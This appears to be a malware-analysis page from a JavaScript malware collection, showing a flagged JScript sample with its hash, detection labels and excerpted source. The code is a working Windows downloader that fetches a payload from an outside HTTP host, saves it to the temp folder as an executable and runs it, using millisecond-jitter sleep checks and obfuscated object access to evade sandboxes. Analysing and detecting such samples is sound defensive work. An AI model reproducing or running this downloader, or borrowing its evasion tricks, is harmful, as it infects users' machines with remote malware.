Suspicious ^66% javascript-malware-collection Download

20160329_d830cfc99c6a1b9f08f7f72d9352da7b.js

Downloads and executes remote payload

JScript conditional sleep jitter evasionWScript bracket-member access in source text

SHA-25624d65f102553a2be58f14895cad1da553ee1287d5e38112082e3d0f2a464eeac

Evidence

UTC millisecond jitter sleep check lines 1–43

1var DQ = false;
2var q = "CreateObject";
3var S = function O() {return WScript[q]("WScript.Shell");}(), Uu = 11;
4var MJ = "MSXML2.XMLHTTP";
5var Lp = 2123213;
6var t0 = 0;
7function K(i){S["Run"](i, t0, t0);};
8function ok(){return "" + MJ;};
9function m(n0, co){t0 = t0 * 1; return n0 - co;};
10function V(){return q;};
11/*@cc_on
12  @if (@_win32 || @_win64)
13    DQ = true;
14  @end
⋯6 lines
21function eQ()
22{
23var bC = new this["Date"]();
24var rL = bC["getUTCMilliseconds"]();
25WScript["Sleep"](jv());
26var bC = new this["Date"]();
⋯11 lines
38var Q = false;
39var oq = false;
40for (var OQ = t0; OQ < jv() * 1; OQ++){if (eQ() != t0){
41Q = true; 
42P = "31" + 11 * wX + P; 
43oq = t …

Contains a hardcoded insecure HTTP URL lines 46–74

46:41… == oq)) ? 1 : t0;};
47if (Q && t() && oq){
48function n() {return S["ExpandEnvironmentStrings"]("%TE"+"MP%/") + "qKrWCnxQyI.exe";};
49 k0 = ok();
50 td = WScript[q](k0);
51 var K0 = 1;
52 while (K0){
53try {
54td[e]("GET", "http://caferacerpneus.com.br/lw2osd", false);
55td["send"]();
56Yu = "Sleep";
57for (;;){WScript[Yu](jv() * 11); if (td["readystate"] >= 2 * 2) break;};
58K0 = t0;
59} catch(X){};
60}
61function Yb(k) {var em = (1, 2, 3, 4, 5, k); return em;};
62lR = WScript[V()]("ADODB.Stream");
63k0 = lR;
64k0[e]();
65k0["type"] = Yb(1);
66k0["write"](td["ResponseBody"]);
67lR["position"] = Yb(t0);
68k0["Save" + "ToFile"](n(), 2);
69lR["c"+"lose"]();
70Y = n();
71K(Y);
72}
73}
74